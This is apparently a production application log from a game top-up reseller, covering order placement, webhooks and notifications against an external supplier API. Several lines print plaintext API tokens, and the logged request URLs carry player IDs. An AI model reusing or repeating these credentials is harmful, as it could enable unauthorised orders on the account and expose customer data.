[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179278} 
[2026-03-24 20:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"user_id":949,"notification_type":"order_approved","reference_id":179275} 
[2026-03-24 20:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"chunk_number":1,"processed":7,"errors":0,"total_operations":7,"total_orders":7,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"total_processed":7,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"processed":7,"errors":0} 
[2026-03-24 20:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157,"processed":7,"errors":0} 
[2026-03-24 20:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rB29vIFOCI5UMiHGwr9uJw9nyb8RK1LS","execution_time":"2026-03-24 20:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yQjZRv7-1774371642","operation_id":164157} 
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:05] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 20:02:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lVScmXvO-1774371576","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:02:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-lVScmXvO-1774371576","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:02:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:02:05] production.INFO: SendAcceptReject: Notification queued {"user_id":1572,"notification_type":"order_approved","reference_id":179270} 
[2026-03-24 20:02:05] production.INFO: Order updated successfully. Order ID: 179270, Status: completed  
[2026-03-24 20:02:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lVScmXvO-1774371576","status":"completed","codes_count":0} 
[2026-03-24 20:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:02:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1572  
[2026-03-24 20:02:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ujf-1774371615","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:02:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ujf-1774371615","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:02:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:02:07] production.INFO: SendAcceptReject: Notification queued {"user_id":59,"notification_type":"order_approved","reference_id":179272} 
[2026-03-24 20:02:07] production.INFO: Order updated successfully. Order ID: 179272, Status: completed  
[2026-03-24 20:02:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ujf-1774371615","status":"completed","codes_count":0} 
[2026-03-24 20:02:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 20:02:11] production.INFO: Constructing job for order: 179280  
[2026-03-24 20:02:14] production.INFO: Handling job for order: 179280  
[2026-03-24 20:02:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:02:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:02:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=841bb217-ff64-4960-a917-a5db542830ce&Player_ID=52311437790  
[2026-03-24 20:02:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=841bb217-ff64-4960-a917-a5db542830ce&Player_ID=52311437790","has_body":false} 
[2026-03-24 20:02:15] production.INFO: Operation sent successfully {"operation_id":164162,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-E8v-1774371735","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:02:15"}},"processed_data":{"order_number":"ORD-E8v-1774371735","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:02:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-E8v-1774371735","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:02:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-E8v-1774371735","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:02:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:02:35] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179280} 
[2026-03-24 20:02:35] production.INFO: Order updated successfully. Order ID: 179280, Status: completed  
[2026-03-24 20:02:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-E8v-1774371735","status":"completed","codes_count":0} 
[2026-03-24 20:02:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 20:03:03] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:03:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 20:03:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1424  
[2026-03-24 20:03:10] production.INFO: Constructing job for order: 179281  
[2026-03-24 20:03:12] production.INFO: Handling job for order: 179281  
[2026-03-24 20:03:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:03:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:03:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=d3d43fc9-f49c-44f3-b8ea-009df5a25b9c&Player_ID=Luyialhmd  
[2026-03-24 20:03:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=d3d43fc9-f49c-44f3-b8ea-009df5a25b9c&Player_ID=Luyialhmd","has_body":false} 
[2026-03-24 20:03:13] production.INFO: Operation sent successfully {"operation_id":164163,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Fpo-1774371793","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 20:03:13"}},"processed_data":{"order_number":"ORD-Fpo-1774371793","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 20:03:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Fpo-1774371793","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:03:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-Fpo-1774371793","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:03:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:03:17] production.INFO: SendAcceptReject: Notification queued {"user_id":16,"notification_type":"order_approved","reference_id":179281} 
[2026-03-24 20:03:17] production.INFO: Order updated successfully. Order ID: 179281, Status: completed  
[2026-03-24 20:03:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Fpo-1774371793","status":"completed","codes_count":0} 
[2026-03-24 20:03:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 16  
[2026-03-24 20:03:59] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"263.0","mainamount":"263","operation_number":"600431056867","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpngvj0t3ih5tg5hMKze5"}},"user_id":1761} 
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:04:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:04:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18691,"user_id":1761,"amount":263.0,"admins_notified":7} 
[2026-03-24 20:04:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04"} 
[2026-03-24 20:04:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","total_operations":1,"sites_count":1} 
[2026-03-24 20:04:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-BzcPU-1774371714"]} 
[2026-03-24 20:04:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:04:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 20:04:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 20:04:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:04:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"count":1} 
[2026-03-24 20:04:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"count":1} 
[2026-03-24 20:04:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"user_id":314,"notification_type":"order_approved","reference_id":179279} 
[2026-03-24 20:04:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:04:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:04:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"processed":1,"errors":0} 
[2026-03-24 20:04:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161,"processed":1,"errors":0} 
[2026-03-24 20:04:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"daSRfop8KUfc5XQlaz4NANa4Rml95qH7","execution_time":"2026-03-24 20:04:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-BzcPU-1774371714","operation_id":164161} 
[2026-03-24 20:04:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 20:04:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BzcPU-1774371714","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:04:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-BzcPU-1774371714","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:04:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:04:05] production.ERROR: Order not found or already processed. External ID: ORD-BzcPU-1774371714  
[2026-03-24 20:04:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BzcPU-1774371714","status":"completed","codes_count":0} 
[2026-03-24 20:04:29] production.INFO: Constructing job for order: 179283  
[2026-03-24 20:04:31] production.INFO: Handling job for order: 179283  
[2026-03-24 20:04:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:04:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:04:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c11ebb30-08fe-44b9-b451-7d2f6e86910b&Player_ID=5342825265  
[2026-03-24 20:04:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c11ebb30-08fe-44b9-b451-7d2f6e86910b&Player_ID=5342825265","has_body":false} 
[2026-03-24 20:04:32] production.INFO: Operation sent successfully {"operation_id":164164,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FZdmHZDV-1774371872","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:04:32"}},"processed_data":{"order_number":"ORD-FZdmHZDV-1774371872","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 20:04:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FZdmHZDV-1774371872","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:04:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-FZdmHZDV-1774371872","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:04:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:04:41] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179283} 
[2026-03-24 20:04:41] production.INFO: Order updated successfully. Order ID: 179283, Status: completed  
[2026-03-24 20:04:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FZdmHZDV-1774371872","status":"completed","codes_count":0} 
[2026-03-24 20:04:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 20:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 20:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 20:05:05] production.INFO: async() رجع: true  
[2026-03-24 20:05:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:05:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:06:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nvI8BuvM6SyCUtBVIMoSz7yJZ1MexeGX","execution_time":"2026-03-24 20:06:03"} 
[2026-03-24 20:06:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"nvI8BuvM6SyCUtBVIMoSz7yJZ1MexeGX","execution_time":"2026-03-24 20:06:03"} 
[2026-03-24 20:06:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1775  
[2026-03-24 20:06:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1775  
[2026-03-24 20:06:50] production.INFO: Constructing job for order: 179284  
[2026-03-24 20:06:51] production.INFO: Handling job for order: 179284  
[2026-03-24 20:06:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:06:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:06:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cd759eab-18b5-4e3e-aa76-45bd1f904ba8&Player_ID=12271343810  
[2026-03-24 20:06:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cd759eab-18b5-4e3e-aa76-45bd1f904ba8&Player_ID=12271343810","has_body":false} 
[2026-03-24 20:06:52] production.INFO: Operation sent successfully {"operation_id":164165,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-y6Diq-1774372012","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 20:06:52"}},"processed_data":{"order_number":"ORD-y6Diq-1774372012","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 20:07:21] production.INFO: Constructing job for order: 179285  
[2026-03-24 20:07:22] production.INFO: Handling job for order: 179285  
[2026-03-24 20:07:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:07:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:07:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=de2e8555-5da9-4bcc-b70c-6b75edc4b3f2&Player_ID=1941369096  
[2026-03-24 20:07:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=10000&uuid=de2e8555-5da9-4bcc-b70c-6b75edc4b3f2&Player_ID=1941369096","has_body":false} 
[2026-03-24 20:07:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-y6Diq-1774372012","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:07:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-y6Diq-1774372012","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:07:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:07:24] production.INFO: SendAcceptReject: Notification queued {"user_id":765,"notification_type":"order_approved","reference_id":179284} 
[2026-03-24 20:07:24] production.INFO: Order updated successfully. Order ID: 179284, Status: completed  
[2026-03-24 20:07:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-y6Diq-1774372012","status":"completed","codes_count":0} 
[2026-03-24 20:07:24] production.INFO: Operation sent successfully {"operation_id":164166,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-h7CA-1774372044","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 20:07:24"}},"processed_data":{"order_number":"ORD-h7CA-1774372044","amount":1.1256000000000001559641304993419907987117767333984375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 20:07:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 765  
[2026-03-24 20:07:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-h7CA-1774372044","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:07:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-h7CA-1774372044","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:07:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:07:29] production.INFO: SendAcceptReject: Notification queued {"user_id":1071,"notification_type":"order_approved","reference_id":179285} 
[2026-03-24 20:07:29] production.INFO: Order updated successfully. Order ID: 179285, Status: completed  
[2026-03-24 20:07:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-h7CA-1774372044","status":"completed","codes_count":0} 
[2026-03-24 20:07:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 20:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QINpKXyvbgOyBGNLuMVYo3Pa7EQqNXv4","execution_time":"2026-03-24 20:08:03"} 
[2026-03-24 20:08:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"QINpKXyvbgOyBGNLuMVYo3Pa7EQqNXv4","execution_time":"2026-03-24 20:08:03"} 
[2026-03-24 20:08:55] production.INFO: Constructing job for order: 179286  
[2026-03-24 20:08:57] production.INFO: Constructing job for order: 179287  
[2026-03-24 20:08:57] production.INFO: Handling job for order: 179286  
[2026-03-24 20:08:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:08:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:08:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=10000&uuid=4287fe7b-8ad9-4c3d-8eb3-b6a31b45ca25&Player_ID=220534754  
[2026-03-24 20:08:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=10000&uuid=4287fe7b-8ad9-4c3d-8eb3-b6a31b45ca25&Player_ID=220534754","has_body":false} 
[2026-03-24 20:08:58] production.INFO: Operation sent successfully {"operation_id":164167,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4yhzFQRJ-1774372138","amount":1.3765199999999999658228944099391810595989227294921875,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 20:08:58"}},"processed_data":{"order_number":"ORD-4yhzFQRJ-1774372138","amount":1.3765199999999999658228944099391810595989227294921875,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 20:08:58] production.INFO: Handling job for order: 179287  
[2026-03-24 20:08:58] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:08:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:08:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6d844528-4bb4-48b8-b95c-745f86e58b39&Player_ID=0946773400  
[2026-03-24 20:08:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6d844528-4bb4-48b8-b95c-745f86e58b39&Player_ID=0946773400","has_body":false} 
[2026-03-24 20:08:59] production.INFO: Operation sent successfully {"operation_id":164168,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tHUUYaZ-1774372139","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:08:59"}},"processed_data":{"order_number":"ORD-tHUUYaZ-1774372139","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:09:31] production.INFO: SendAcceptReject: Notification queued {"user_id":1461,"notification_type":"order_approved","reference_id":178867} 
[2026-03-24 20:09:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 20:09:34] production.INFO: Constructing job for order: 179288  
[2026-03-24 20:09:35] production.INFO: Handling job for order: 179288  
[2026-03-24 20:09:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:09:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:09:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/568/params?qty=2000&uuid=f0fece7d-611e-4608-89fe-6cec9acff59f&Player_ID=36139161  
[2026-03-24 20:09:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/568/params?qty=2000&uuid=f0fece7d-611e-4608-89fe-6cec9acff59f&Player_ID=36139161","has_body":false} 
[2026-03-24 20:09:36] production.INFO: Operation sent successfully {"operation_id":164169,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-btKiBfQ8-1774372176","amount":2.116843999999999947903006614069454371929168701171875,"status":"processing","product":"Higo Amount","game":"HigoChat","notes":[],"created_at":"2026-03-24 20:09:36"}},"processed_data":{"order_number":"ORD-btKiBfQ8-1774372176","amount":2.116843999999999947903006614069454371929168701171875,"status":"processing","product":"Higo Amount","game":"HigoChat"}} 
[2026-03-24 20:09:37] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":179100} 
[2026-03-24 20:09:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 20:09:43] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
